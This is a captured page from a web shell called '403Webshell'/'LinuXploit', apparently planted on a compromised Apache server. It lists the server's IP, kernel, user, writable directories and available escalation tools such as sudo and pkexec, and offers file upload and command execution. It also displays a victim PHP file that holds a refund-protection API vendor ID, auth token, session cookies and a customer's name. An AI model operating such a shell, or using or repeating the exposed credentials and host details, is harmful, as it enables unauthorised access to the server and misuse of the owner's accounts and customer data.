403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend//CP.php
<?php

echo date("Y-m-d"); exit;

$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => 'https://test.api.protectgroup.co/api/v1/refundprotect/salesoffering',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_POSTFIELDS =>'{
        "vendorCode": "ven_local_aff1f1a8d78f4020ab7e151d9a56a6a5",
        "vendorSalesReferenceId": "GTX00888",
        "vendorSalesDate": "2021-05-24T18:30:00+05:30",
        "customerFirstName": "Sudipta",
        "customerLastName": "Banerjee",
        "paymentProviderId": 0,
        "paymentTransactionId": "GTX001",
        "products": [
           {
              "productCode": "TKT",
              "currencyCode": "INR",
              "productPrice": 5000,
              "premiumRate": 8.5,
              "offeringMethod": "OPT-IN",
              "sold": true,
              "insuranceEndDate": "2021-06-15T18:30:00+05:30"
           }
        ]
    }',
   CURLOPT_HTTPHEADER => array(
       'X-RefundProtect-VendorId: ven_local_aff1f1a8d78f4020ab7e151d9a56a6a5',
       'X-RefundProtect-AuthToken: sk_local_a0cc9265cc55496ea0aec8b1ae55f4d0',
       'Content-Type: application/json',
       'Cookie: ApplicationGatewayAffinity=18034aec1d948fed9ec2c54610f4a588; ApplicationGatewayAffinityCORS=18034aec1d948fed9ec2c54610f4a588'
    ),
));
$response = curl_exec($curl);
echo "<pre>";print_r($response);exit;
curl_close($curl);

Youez - 2016 - github.com/yon3zu
LinuXploit